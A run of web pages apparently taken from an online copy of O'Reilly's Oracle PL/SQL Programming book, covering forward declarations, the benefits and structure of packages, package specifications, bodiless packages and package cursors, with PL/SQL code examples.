If you do find yourself committed to mutual recursion, you will be very glad to hear that PL/SQL supports the forward declaration of local modules, which declares a module in advance of the actual definition of that program. This declaration makes that program available to be called by other programs even before the program definition.

Remember that both procedures and functions have a header and a body. A forward declaration consists simply of the program header, followed by a semicolon (;). This construction is called the module header. This header, which must include the parameter list (and RETURN clause if a function) is all the information PL/SQL needs about a module in order to declare it and resolve any references to that module; a module should, after all, be a little black box.

The following example will illustrate the technique. I define two mutually recursive functions within a procedure. Consequently I have to declare just the header of my second function, total_cost, before the full declaration of net_profit:

PROCEDURE perform_calcs (year_in IN INTEGER)
IS
   /* Header only for total_cost function. */
   FUNCTION total_cost (. . .)  RETURN NUMBER;

   /* The net_profit function uses total_cost. */
   FUNCTION net_profit (. . .) RETURN NUMBER
   IS
   BEGIN
      RETURN tot_sales (. . .) - total_cost (. . .);
   END;

   /* The total_cost function uses net_profit. */
   FUNCTION total_cost (. . .)  RETURN NUMBER
   IS
   BEGIN
      IF net_profit (. . .) < 0
      THEN
         RETURN 0;
      ELSE
         RETURN . . .;
      END IF;
   END;
BEGIN
   . . .
END;

Here are some rules to remember concerning forward declarations:

  • You cannot make forward declarations of a variable or cursor. This technique works only with modules (procedures and functions).

  • The definition for a forwardly-declared program must be contained in the declaration section of the same PL/SQL block (anonymous block, procedure, function, or package) in which you code the forward declaration.

In some situations, you absolutely require forward declarations; in most situations, they just help make your code more readable and presentable. As with every other advanced or unusual feature of the PL/SQL language, use forward declarations only when you really need the functionality. Otherwise, the declarations simply add to the clutter of your program, which is the last thing you want.

Previous: 15.8 Module Overloading | Oracle PL/SQL Programming, 2nd Edition | Next: 15.10 Go Forth and Modularize!
15.8 Module Overloading | Book Index | 15.10 Go Forth and Modularize!
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.10 Go Forth and Modularize!

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.10 Go Forth and Modularize!

As the PL/SQL language and Oracle tools mature, you will find that you are being asked to implement increasingly complex applications with this technology. To be quite frank, you don't have much of a chance of success in implementing such large-scale projects without an intimate familiarity with the modularization techniques available in PL/SQL.

While this book could not possibly provide a full treatment of modularization in PL/SQL, it should give you some solid pointers and a foundation from which to work. There is still much more for you to learn -- the full capabilities of packages, the awesome range of package extensions Oracle Corporation now provides with the tools and database, and the various options for code reusability -- and more.

Behind all of that technology, however, you must develop an instinct, a sixth sense, for modularization. Develop a deep and abiding allergy to code redundancy and the hardcoding of values and formulas. Apply a fanatic's devotion to the modular construction of true black boxes which easily plug-and-play in and across applications.

You will find yourself spending more time in the design phase and less time in debug mode. Your programs will be more readable and maintainable. They will stand as elegant testimonies to your intellectual integrity. You will be the most popular kid in your class and ... but enough already. I am sure you are properly motivated.

Go forth and modularize!

Previous: 15.9 Forward Declarations | Oracle PL/SQL Programming, 2nd Edition | Next: 16. Packages
15.9 Forward Declarations | Book Index | 16. Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] Packages

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 15.10 Go Forth and Modularize! Chapter 16 Next: 16.2 Overview of Package Structure

16. Packages

Contents:
The Benefits of Packages
Overview of Package Structure
The Package Specification
The Package Body
Package Data
Package Initialization

A package is a collection of PL/SQL objects that are packaged or grouped together within a special BEGIN-END syntax, a kind of "meta-block." Here is a partial list of the kinds of objects you can place in a package:

  • Cursors

  • Variables (scalars, records, tables, etc.)

  • Constants

  • Exception names

  • PL/SQL table and record TYPE statements

  • Procedures

  • Functions

Packages are among the least understood and most underutilized features of PL/SQL. That is a shame, because the package structure is also one of the most useful constructs for building well-designed PL/SQL-based applications. Packages provide a structure in which you can organize your modules and other PL/SQL elements. They encourage proper structured programming techniques in an environment that often befuddles the implementation of structured programming.

Oracle Corporation itself uses the package construct to extend the PL/SQL language. Appendix C, Built-In Packages, contains descriptions of many of these predefined packages. In fact, the most basic operators of the PL/SQL language, such as the + and LIKE operators and the INSTR function, are all defined in a special package called STANDARD. If Oracle believes that packages are the way to go when it comes to building both fundamental and complex programs, don't you think that you could benefit from the same?

Packages are, by nature, highly modular. When you place a program unit into a package you automatically create a context for that program. By collecting related PL/SQL elements in a package, you express that relationship in the very structure of the code itself. Packages are often called "the poor man's objects" because they support some, but not all, object-oriented rules. For example, packages allow you to encapsulate and abstract your data and functions.

The PL/SQL package is a deceptively simple, powerful construct. You can in just a few hours learn the basic elements of package syntax and rules; there's not all that much to it. You can spend days and weeks, however, uncovering all the nuances and implications of the package structure. This chapter -- and the next one filled with examples of packages -- will help you absorb the features and benefits of the PL/SQL package more rapidly.

16.1 The Benefits of Packages

Before we explore all the aspects of working with packages, let's review some of the most important benefits of the package:

16.1.1 Enforced Information Hiding

When you build a package, you decide which of the package elements are public (can be referenced outside of the package) and which are private (available only within the package itself). You also can restrict access to the package to only the specification. In this way, you use the package to hide the implementational details of your programs. This is most important when you want to isolate the most volatile aspects of your application, such as platform dependencies, frequently changing data structures, and temporary workarounds.

16.1.2 Object-Oriented Design

While PL/SQL does not yet offer full object-oriented capabilities, packages do offer the ability to follow many object-oriented design principles. The package gives developers very tight control over how the modules and data structures inside the package can be accessed.

You can, therefore, embed all the rules about and access to your entities (whether they are database tables or memory-based structures) in the package. Because this is the only way to work with that entity, you have in essence created an abstracted and encapsulated object.

16.1.3 Top-Down Design

A package's specification can be written before its body. You can, in other words, design the interface to the code hidden in the package (the modules, their names, and their parameters) before you have actually implemented the modules themselves. This feature dovetails nicely with top-down design, in which you move from high-level requirements to functional decompositions to module calls.

Of course, you can design the names of standalone modules just as you can the names of packages and their modules. The big difference with the package specification is that you can compile it even without its body. Furthermore, and most remarkably, programs that call packaged modules will compile successfully -- as long as the specification compiles.

16.1.4 Object Persistence

PL/SQL packages offer the ability to implement global data in your application environment. Global data is information that persists across application components; it isn't just local to the current module. If you designed screens with SQL*Forms or Oracle Forms, you are probably familiar with its GLOBAL variables, which allow you to pass information between screens. Those globals have their limitations (GLOBAL variables are always represented as fixed-length CHAR variables with a length of 254), but they sure can be useful.

Objects declared in a package specification (that is, visible to anyone with EXECUTE authority on that package) act as global data for all PL/SQL objects in the application. If you have access to the package, you can modify package variables in one module and then reference those changed variables in another module. This data persists for the duration of a user session (connection to the database).

If a packaged procedure opens a cursor, that cursor remains open and is available to other packaged routines throughout the session. You do not have to explicitly define the cursor in each program. You can open it in one module and fetch it in another module. In addition, package variables can carry data across the boundaries of transactions, because they are tied to the session itself and not to a transaction.

16.1.5 Performance Improvement

When an object in a package is referenced for the first time, the entire package (already compiled and validated) is loaded into memory (the Shared Global Area [SGA] of the RDBMS). All other package elements are thereby made immediately available for future calls to the package. PL/SQL does not have to keep retrieving program elements or data from disk each time a new object is referenced.

This feature is especially important in a distributed execution environment. You may reference packages from different databases across a local area or even a wide area network. You want to minimize the network traffic involved in executing your code.

Packages also offer performance advantages on the development side (with potential impact on overall database performance). The Oracle RDBMS automatically tracks the validity of all program objects (procedures, functions, packages) stored in the database. It determines what other objects that program is dependent on, such as tables. If a dependent object such as a table's structure changes, for example, then all programs that rely on that object are flagged as invalid. The database then automatically recompiles these invalid programs before they are used.

You can limit automatic recompiles by placing functions and procedures inside packages. If program A calls packaged module B, it does so through the package's specification. As long as the specification of a packaged module does not change, any program that calls the module is not flagged as invalid and will not have to be recompiled.

This chapter should provide you with all the information and examples you need to put packages to work immediately in your applications. If you are still unsure about packages after reading it, try out a couple of small packages. Test those hard-to-believe features like global package data to prove to yourself that they really work as advertised. Examine carefully the examples in Chapter 18, Object Types. Do whatever you need to do to incorporate packages into every level of your application, from database server to client applications.

Previous: 15.10 Go Forth and Modularize! | Oracle PL/SQL Programming, 2nd Edition | Next: 16.2 Overview of Package Structure
15.10 Go Forth and Modularize! | Book Index | 16.2 Overview of Package Structure
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.2 Overview of Package Structure

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

16.2 Overview of Package Structure

A package provides an extra layer of code and structure over that of an individual module. Many of the concepts needed to understand a package's structure will be familiar to you. In fact, a package is very similar in structure to a PL/SQL module that has local modules defined within it.

Whereas a module has a header and a body, a package has a specification and a body. Just as the module's header explains to a developer how to call that module, the package specification describes the different elements of the package that can be called. Beyond that, however, there are key differences between the constructs in the module and in the package.

A module's specification and body are connected by the IS keyword; both are required and one cannot be written without the other. The specification determines how you call the module. The body, after the IS keyword, contains the code that is executed when the function is used. These two components of a module are coded together and are completely inseparable.

A package also has a specification and a body, but the package's two parts are structured differently, and have a different significance, from those for a single module. With a package, the specification and body are completely distinct objects. You can write and compile the specification independently of the body. When you create and replace stored packages in the database, you perform this action separately for each of the specification and body.

This separation of specification and body allows you to employ top-down design techniques in a powerful way. Don't worry about the details of how a procedure or function is going to do its job. Just concentrate on the different modules you need and how they should be connected together.

16.2.1 The Specification

The package specification contains the definition or specification of all elements in the package that may be referenced outside of the package. These are called the public elements of the package (see the section entitled Section 16.2.4, "Public and Private Package Elements"" for more information). Figure 16.1 shows an example of a package specification containing two module definitions.

Figure 16.1: The specification of sp_timer package

Like the module, the package specification contains all the code that is needed for a developer to understand how to call the objects in the package. A developer should never have to examine the code behind the specification (which is the body) in order to understand how to use and benefit from the package.

16.2.2 The Body

The body of the package contains all the code behind the package specification: the implementation of the modules, cursors, and other objects. Figure 16.2 illustrates the body required to implement the specification of the sp_timer package shown in Figure 16.1.

Figure 16.2: The body of sp_timer package

The body may also contain elements that do not appear in the specification. These are called the private elements of the package. A private element cannot be referenced outside of the package, since it does not appear in the specification.

The body of the package resembles a standalone module's declaration section. It contains both declarations of variables and the definitions of all package modules. The package body may also contain an execution section, which is called the initialization section because it is only run once, to initialize the package.

16.2.3 Package Syntax

The general syntax for the two parts of a package follows:

  • The package specification:

    PACKAGE package_name
IS
[ declarations of variables and types ]

[ specifications of cursors ]

[ specifications of modules ]

END [ package_name ];

    You can declare variables and include specifications of both cursors and modules (and only the specifications). You must have at least one declaration or specification statement in the package specification.

    Notice that the package specification has its own BEGIN-END block syntax. This enables its independent existence and compilation from the package body.

  • The package body:

    PACKAGE BODY package_name
IS
[ declarations of variables and types ]

[ specification and SELECT statement of cursors ]

[ specification and body of modules ]

[ BEGIN
   executable statements ]

[ EXCEPTION
   exception handlers ]

END [ package_name ];

    In the body you can declare other variables, but you do not repeat the declarations in the specification. The body contains the full implementation of cursors and modules. In the case of a cursor, the package body contains both specification and SQL statement for the cursor. In the case of a module the package body contains both the specification and body of the module.

The BEGIN keyword indicates the presence of an execution or initialization section for the package. This section can also optionally include an exception section.

As with a procedure or function, you can add the name of the package, as a label, after the END keyword in both the specification and package.

16.2.4 Public and Private Package Elements

A central concept of packages is the privacy level of its elements. One of the most valuable aspects of a package is its ability to actually enforce information hiding. With a package you can not only modularize your secrets behind a procedural interface, you can keep these parts of your application completely private.

An element of a package, whether it is a variable or a module, can either be private or public, as defined below:

Public

Defined in the specification. A public element can be referenced from other programs and PL/SQL blocks.

Private

Defined only in the body of the package, but does not appear in the specification. A private element cannot be referenced outside of the package. Any other element of the package may, however, reference and use a private element. Private elements in a package must be defined before they can be referenced by other elements of the package. If, in other words, a public procedure calls a private function, that function must be defined above the public procedure in the package body. You can, alternatively, use a forward declaration if you wish to keep your private programs at the bottom of the package body (see Chapter 15, Procedures and Functions).

If you find that a formerly private object such as a module or cursor should instead be made public, simply add that object to the package specification and recompile. It will then be visible outside of the package.

The distinct difference between public and private elements gives PL/SQL developers unprecedented control over their data structures and programs. Figure 16.3 shows a Booch diagram[1] for the package that displays private and public package elements.

[1] This diagram is named after Grady Booch, who pioneered many of the ideas of the package, particularly in the context of object-oriented design.

Figure 16.3: Booch diagram showing public and private package elements

The diagram offers a clear representation of the public/private character of PL/SQL packages. The large rectangle establishes the graphical boundary of the package. A program external to the package may only call a package element if a part of the element extends past the boundary of the package. Thus, all public elements defined in the specification straddle the package boundary. Part of the element is inside the boundary, and part lies outside, accessible to other programs.

All the objects (data and modules) that are completely surrounded by the boundary of the package are private objects. These are defined only in the package body and do not appear in the specification. Because they are wholly contained, no external program can reference those elements.

Because the border of the public elements exists both outside and inside the package boundary, all elements in the package (private and public) can use those elements.

The next section offers a quick tour of a simple package which illustrates these concepts.

16.2.5 How to Reference Package Elements

A package owns its objects, just as a table owns its columns. You use the same dot notation to provide a fully qualified specification for a package's object as you would for a table's column.

The following package specification declares a constant, an exception, a cursor, and several modules:

PACKAGE pets_inc
IS
   max_pets_in_facility CONSTANT INTEGER := 120;
   pet_is_sick EXCEPTION;

   CURSOR pet_cur RETURN pet%ROWTYPE;

   FUNCTION next_pet_shots (pet_id_in IN NUMBER) RETURN DATE;
   PROCEDURE set_schedule (pet_id_in IN NUMBER);

END pets_inc;

To reference any of these objects, I preface the object name with the package name, as follows:

BEGIN
   IF pets_inc.max_pets_in_facility > 100
   THEN
      ...
   END IF;
EXCEPTION
   WHEN pets_inc.pet_is_sick
   THEN
      ...
END;

OPEN pets_inc.pet_cur;

:pet_master.next_appointment
      := pets_inc.next_pet_shots (:pet_master.pet_id);

If you do not preface the call to next_pet_shots with the package name, pets_inc, PL/SQL is not able to resolve the reference and the compile fails.

So, the rule for referencing package elements is simple and clear: To reference a stored package element, use dot notation. The one exception is that inside a package, you do not need to qualify references to other elements of that package. PL/SQL will automatically resolve your reference within the scope of the package.

Suppose, for example, that the set_schedule procedure of pets_inc references the max_pets_in_facility constant. Such a reference would be unqualified as shown here:

PROCEDURE set_schedule (pet_id_in IN NUMBER)
IS
   ...
BEGIN
   ...
   IF total_pets < max_pets_in_facility
   THEN
      ...
   END IF;
END;

Of course, if you want to reference the element of a second package inside the current package, you will need to include the name of that package.

16.2.6 Quick Tour of a Package

The pet maintenance package defined below is used by veterinarians to keep track of their patients and to determine when a pet needs another visit. Its specification identifies the public elements of the package. The body implements those elements and also creates two private elements.

16.2.6.1 The pets_inc package specification

The specification for the pets_inc package establishes the five public elements:

Name | Type | Description
petid_type | Subtype definition | Creates a programmer-defined subtype for the pet table primary key.
petid_nu | Variable declaration | Represents the primary key in pet table.
pet_cur | Cursor specification | Retrieves information about specified pet.
next_pet_shots | Function specification | Returns the date for next shots.
set_schedule | Procedure specification | Sets the schedule for the specified pet.

Here is the pets_inc package specification:

PACKAGE pets_inc
IS
   SUBTYPE petid_type IS pet.pet_id%TYPE;

   petid_nu petid_type;

   CURSOR pet_cur (pet_name_in IN VARCHAR2) RETURN pet%ROWTYPE;

   FUNCTION next_pet_shots (pet_id_in IN petid_type) RETURN DATE;

   PROCEDURE set_schedule (pet_id_in IN petid_type)

END pets_inc;

The header for the package specification simply states PACKAGE. You do not explicitly indicate that it is the specification, as in PACKAGE SPECIFICATION. Instead, when you create the body of a package, you indicate explicitly in the first line of the definition that you are defining the body of the pets_inc package.

Since all of these elements are in the package, I can reference them in other programs, such as the following procedure:

PROCEDURE show_next_visit (pet_in IN VARCHAR2)
IS
   next_visit DATE;

   /* Declare record to receive row fetched from package cursor. */
   pet_rec pets_inc.pet_cur%ROWTYPE;
BEGIN
   /* Open the package-based cursor. */
   OPEN pets_inc.pet_cur (pet_in);

   /* Fetch from cursor into local record. */
   FETCH pets_inc.pet_cur INTO pet_rec;

   IF pets_inc.pet_cur%FOUND
   THEN
      /* Call packaged function to get next visit date. */
      next_visit := pets_inc.next_pet_shots (pet_rec.pet_id);

      /* Display the information. */
      DBMS_OUTPUT.PUT_LINE
         ('Schedule next visit for ' || pet_in || ' on ' ||
          TO_CHAR (next_visit));
   END IF;

   CLOSE pets_inc.pet_cur;
END;

16.2.6.2 The pets_inc package body

The package body for pets_inc contains elements shown in the following table:

Name | Type | Description
max_date | Constant declaration | Private variable. Maximum date llowed.
pet_cur | Cursor declaration | The cursor specification and SQL statement that retrieves information about specified pet.
pet_status | Function definition | Private module. The specification and body for the function that returns the status of teh pet.
next_pet_shots | Function definition | The specification and body for the function that returns date for next shots.
set_schedule | Procedure definition | The specification and body for the procedure that sets the schedule for the specified pet.

Here is the pets_inc package body:

PACKAGE BODY pets_inc
IS
   max_date CONSTANT DATE := SYSDATE + 10;

   CURSOR pet_cur (pet_name_in IN VARCHAR2) RETURN pet%ROWTYPE IS
      SELECT * FROM pet;

   FUNCTION pet_status  (pet_id_in IN petid_type) RETURN VARCHAR2
   IS
   BEGIN
      ... code behind the module ...
   END;

   FUNCTION next_pet_shots (pet_id_in IN petid_type) RETURN DATE
   IS
   BEGIN
      ... the code behind the module ...
   END;

   PROCEDURE set_schedule (pet_id_in IN petid_type)
   IS
   BEGIN
      ... the code behind the module ...
   END;

END pets_inc;

The body for the pet maintenance package contains the SELECT statement for the pet_cur cursor as well as the code required to implement all the modules.

This package body contains two private elements: max_date and pet_status. The max_date constant is used inside the package modules to validate dates that are manipulated in the package. The pet_status function is used by other modules to retrieve the status of the pet.

Because these elements are private, they can only be referenced by other elements of the package.

16.2.6.3 Observations about pets_inc

There are several interesting facts to point out about the previous two package components:

  • The package specification does not contain any executable statements or exception handlers. A specification only specifies, or declares, those objects in the package that are public -- that is, visible outside of the package and callable by other programs.

  • The declaration of the petid_nu variable and the petid_type subtype are not repeated inside the body. The declaration in the specification is enough for the whole package. Any module in the body can reference variables declared in the specification.

  • Both the body and the specification of pets_inc are actually extended declaration sections. The package body can, however, also contain execution and exception sections. These two parts of the package body make up the initialization section of the package, which is explored later in this chapter.

Now that you've had an introduction to the various parts of the package, let's take a closer look at each package component.

Previous: 16.1 The Benefits of Packages | Oracle PL/SQL Programming, 2nd Edition | Next: 16.3 The Package Specification
16.1 The Benefits of Packages | Book Index | 16.3 The Package Specification
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.3 The Package Specification

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

16.3 The Package Specification

The specification of a package lists all the objects in that package that are available for use in applications, and provides all the information a developer needs in order to use objects in the package. A package specification may contain any of the following object specification statements:

  • Variable declaration. Any kind of variable declaration statement, from a Boolean variable to a character string to a number. This variable is then available outside of the package (as well as within the body of the package).

  • TYPE declaration (PL/SQL Version 2 only). Any kind of valid TYPE statement, such as those to create a programmer-defined record type or a PL/SQL table. These complex data structures are then available outside of the package (as well as within the body of the package).

  • Exception declaration. Declare exceptions in a package that can then be raised and handled outside of the package.

  • Cursor specification (PL/SQL Version 2 only). Specify a cursor's name and its RETURN clause. This cursor can then be opened, fetched, and closed outside of the package (as well as within the body of the package). This is available only in PL/SQL Version 2 because Version 1 does not support the required RETURN clause for a cursor. For more information on cursors, see Chapter 6, Database Interaction and Cursors.

  • Module specification. Place the full specification for a module in the package specification. A module specification is the module type (PROCEDURE or FUNCTION), module name, parameter list, and RETURN clause (for a function). This module can then be called both from within and outside of the package.

Of these object specification statements, only the cursor and the module need to be defined in the body of the package. The cursor and module, in other words, are not completely determined by the specification alone. The cursor needs its SELECT statement. The module needs its executable section.

The variable, TYPE, and exception declarations, on the other hand, do not need any additional code for completion -- they need only their declaration statements. You can, therefore, write a package that consists solely of a specification and has no body at all, as you will see in the next section.

The specification is the API (Application Programmatic Interface) into the package's contents. A developer should never have to look at the actual code in a package in order to use an object in the specification.

The pets_inc package specification shown earlier contains a variable, cursor, and two modules. I do not need to know how the package function next_pet_shots determines the date when a pet will next need its shots. I need to know just the name of the function, its parameters, and the function's return datatype. Similarly, the package makes available a predefined cursor that gets me everything I need to know about a pet based on its primary key, pet_id. I, as a developer, do not have to understand the underlying data structures involved. The cursor might use a SELECT statement against a base table or against a three-way join with a sub-SELECT. None of that matters to me. In fact, my ignorance in these matters liberates my brain to work on how I can apply these package elements to good use in my application.

16.3.1 Packages Without Bodies

A package only requires a body if one of the following is true:

  • You want to define private package elements

  • You have included a cursor or module in your specification

A package may consist solely of declarations of public package elements. In this case, there is no need for a package body. This section offers two examples of scenarios where a bodiless package may be just the ticket.

16.3.1.1 A package of exceptions

The exception handler package in the next example declares a set of programmer-defined exception numbers and exceptions to go with them. It also declares a PL/SQL table to hold the associated error messages (see Chapter 8, Exception Handlers, for more information about exceptions and the pragma statement, EXCEPTION_INIT).

PACKAGE exchdlr
IS
   en_general_error NUMBER := -20000;
   exc_general_error EXCEPTION;
   PRAGMA EXCEPTION_INIT (exc_general_error, -20000);

   en_must_be_eighteen  NUMBER := -20001;
   exc_must_be_eighteen EXCEPTION;
   PRAGMA EXCEPTION_INIT (exc_must_be_eighteen, -20001);

   max_error_number_used NUMBER := -20001;

   TYPE error_msg_tabtype IS TABLE OF VARCHAR2 (240)
      INDEX BY BINARY_INTEGER;
   error_msg_table error_msg_tabtype;

END exchdlr;

Because this package does not specify any cursors or modules, I do not need to create a body for the exception handler package. In Chapter 8 I include a version of this package that does, in fact, specify two procedures in the package. That version does need a package body).

16.3.1.2 A package of magic values

A magic value is a literal that has special significance in a system. These values might be type codes or validation limits. Your users will tell you that these magic values never change. "I will always have only 25 line items in my profit-and-loss," one will say. "The name of the parent company," swears another, "will always be ATLAS HQ." Don't take these promises at face value, and never code them into your programs. Instead of writing code like this:

IF footing_difference BETWEEN 1 and 100
THEN adjust_line_item;
END IF;

IF cust_status = 'C'
THEN
   reopen_customer;
END IF;

you should instead replace the magic values with named constants, as follows:

IF footing_difference BETWEEN min_difference and max_difference
THEN adjust_line_item;
END IF;

IF cust_status = closed_status
THEN
   reopen_customer;
END IF;

The same magic values often appear in many different modules. Rather than declaring them repeatedly in each module, these magic values should be treated as global data in your application. And where can you create global data in PL/SQL? That's right, in a package! The bodiless package shown in the next example contains all the magic values in my application:

PACKAGE config_pkg
IS
   closed_status     CONSTANT VARCHAR2(1) := 'C';
   open_status       CONSTANT VARCHAR2(1) := 'O';
   active_status     CONSTANT VARCHAR2(1) := 'A';
   inactive_status   CONSTANT VARCHAR2(1) := 'I';

   min_difference    CONSTANT NUMBER := 1;
   max_difference    CONSTANT NUMBER := 100;

   earliest_date     CONSTANT DATE := SYSDATE;
   latest_date       CONSTANT DATE := ADD_MONTHS (SYSDATE, 120);

END config_pkg;

Using this package, my two IF statements above now become:

IF footing_difference
   BETWEEN config_pkg.min_difference and config_pkg.max_difference
THEN
   adjust_line_item;
END IF;

IF cust_status = config_pkg.closed_status
THEN
   reopen_customer;
END IF;

Notice that when you reference a package element you must use dot notation in the format package_name.object_name so the compiler can resolve the reference to the object's name. This is similar to prefacing a reference to a GLOBAL variable in Oracle Forms with the word GLOBAL, as in :GLOBAL.system_name.

If any of my magic values ever change, I need to modify only the assignment to the appropriate constant in the configuration package. I do not need to change a single program module. Just about every application I have reviewed (and many that I have written) mistakenly includes hardcoded magic values in the program. In every single case (especially those that I myself wrote), the developer had to make repeated changes to the programs, both during development and maintenance phases. It was often a headache, sometimes a nightmare; I cannot emphasize strongly enough the importance of consolidating all magic values into a single package, with or without a body.

16.3.1.3 Top-down design with bodiless packages

There is another motivation for writing a package without a body: you don't yet know what the body is going to look like. If you follow a top-down design methodology, you start with a general description of an application and gradually decompose into separate functional areas, programs, or individual statements. With the package structure you can immediately translate high-level refinements into code, while at the same time postponing a resolution of the actual implementation of that code. You can even compile references to unimplemented package modules as long as that module specification is available in a package specification.

Suppose I need to build an application to track calls about product quality. The functional areas of this application include call entry/maintenance, data validation, call analysis, and call assignment, and are represented in the packages shown below:

  • Package to maintain support calls:

    PACKAGE support
IS
   PROCEDURE add_call (call_id IN INTEGER);
   PROCEDURE remove_call (call_id IN INTEGER);
END support;

  • Package to perform analysis on call workload:

    PACKAGE workload
IS
   FUNCTION average (dept_id IN INTEGER)
      RETURN NUMBER;
   FUNCTION operator (operator_id IN INTEGER)
      RETURN NUMBER;
END workload;

Notice that I have only created package specifications. There is no body yet for these modules. Still, I can now implement the assigncall procedure below, referencing my "stubs." This procedure will compile successfully.

PROCEDURE assigncall
   (call_id IN INTEGER,
    operator_id IN INTEGER,
    dept_id IN INTEGER)
IS
BEGIN
   IF workload.operator (operator_id) <
      workload.average (dept_id)
   THEN
      support.add_call (call_id);
   END IF;
END;

How can PL/SQL do this? It all goes back to the public/private boundary of packages. The package provides all the information you need to call package modules: name, parameters, RETURN type if a function. You should not need to know how a module is implemented. Conversely, the implementation of a module can change, and it should not affect your code -- unless the module's header was affected (a parameter was removed, for example). When you write your own programs, the only thing PL/SQL needs to know at compile time is whether your call to a package module conforms to its specification. Of course, when you want to actually execute your application, you should throw some code into the package body.

The separation of specification and body in packages offers you tremendous flexibility in performing high-level design and implementation of your complex applications. See how great packages are? And we haven't even gotten to the body of the package yet!

16.3.2 Declaring Package Cursors

When you include a cursor in a package specification, you must use the RETURN clause of the cursor. It is an optional part of the cursor definition when that cursor is defined in the declaration section of a PL/SQL block. In a package specification, however, it is a necessary part of the structure.

The RETURN clause of a cursor indicates the data elements that are returned by a fetch from the cursor. Of course, these data elements are actually determined by the SELECT statement for that cursor, but the SELECT statement appears only in the body, not in the specification. The cursor specification must contain all the information a program needs to use that cursor; hence the need for the RETURN clause.

The RETURN clause may be made up of either of the following datatype structures:

  • A record defined from a database table, using the %ROWTYPE attribute

  • A record defined from a programmer-defined record (available in PL/SQL Version 2 only)

These variations are shown below, first with the specification and then with the body:

PACKAGE cursor_sampler
IS
   CURSOR caller_tab (id_in NUMBER) RETURN caller%ROWTYPE;
   /*
   || By placing this TYPE declaration in the specification, I give
   || access to the record outside of the package, so that other
   || programs can create caller records with this structure as well.
   */
   TYPE caller_rec IS RECORD (caller_id caller.caller_id%TYPE,
                              company_id company.company_id%TYPE);

   CURSOR caller_cur RETURN caller_rec;

END cursor_sampler;

PACKAGE BODY cursor_sampler IS

   /*
   || Notice that in the body I do not repeat the declarations of
   || the date variable and the custom record structure.
   */
   CURSOR hiredate_cur RETURN date_variable%TYPE
   IS
      SELECT hire_date FROM employee;

   CURSOR caller_key    RETURN caller.caller_id%TYPE
   IS
      SELECT caller_id FROM caller;

   CURSOR caller_tab (id_in NUMBER) RETURN caller%ROWTYPE
   IS
      SELECT * FROM caller WHERE caller_id = id_in;

   CURSOR caller_cur RETURN caller_rec
   IS
      SELECT caller_id, company_id FROM caller;

END cursor_sampler;

You have a lot to gain by creating cursors in packages and making those cursors available to the developers on a project. Crafting precisely the data structures you need for your application is hard and careful work. These same structures -- and the data in them -- are used in your PL/SQL programs, almost always through the use of a cursor. If you do not package up your cursors and provide them "free of charge and effort" to all developers, they will each write their own variations of these cursors. And they will write many, many different cursors, with different sets of columns and expressions in the SELECT list, and different WHERE clauses. This decentralized effort will result in increased development and debugging time. And then what do you do when your data structures change? You have to hunt down every one of those cursors and make changes as required by the alteration.

A much better solution is to think through in advance the common ways that developers will need to access data through cursors, and then place these in one or more packages. These cursors will not only provide the standard list of columns and expressions, but also perform the necessary joins, subselects, and so on required to retrieve that data. Publish the specification and perhaps even the body, so that everyone knows the SQL behind the cursors. Provide examples of how to reference and use the cursors. Build a mechanism for adding new cursors to the packages as developers discover new variations of data access.

Then, developers do not necessarily have to understand how to join three or six different highly-normalized tables to get the right set of data. They can just pick a cursor and leave the data analysis to someone else. This process is very similar to the view-building effort required to support real ease of use in an ad hoc query/EIS tool. Perhaps more importantly, everyone will be "singing from the same songbook." If the data structure changes and a new table must now be joined into an existing cursor in order to accurately query the correct rows, you simply change the cursor in the package. If the cursor specification (name, parameters, and RETURN clause) itself does not change, then you don't even have to recompile all the programs using that cursor.

See Chapter 6, for more information about the cursor RETURN clause.

NOTE: The file named curs_ret.sp on the companion disk contains a package of cursors for the employee and department tables; they should give you an idea of what will be possible in your own, more complex environments.

Previous: 16.2 Overview of Package Structure | Oracle PL/SQL Programming, 2nd Edition | Next: 16.4 The Package Body
16.2 Overview of Package Structure | Book Index | 16.4 The Package Body
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.4 The Package Body

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

16.4 The Package Body

The package body contains all the code required to implement the package specification. As you saw in the previous section, some packages do not even need a body. A package body is required when any of the following conditions is true:

  • The package specification contains a cursor declaration. You need to specify the SELECT statement in the package body.

  • The package specification contains a procedure or function declaration. You need to define the module in the package body.

  • You wish to execute code in the initialization section of the package body. The package specification does not support an execution section (executable statements within a BEGIN...END); you can do this only in the body.

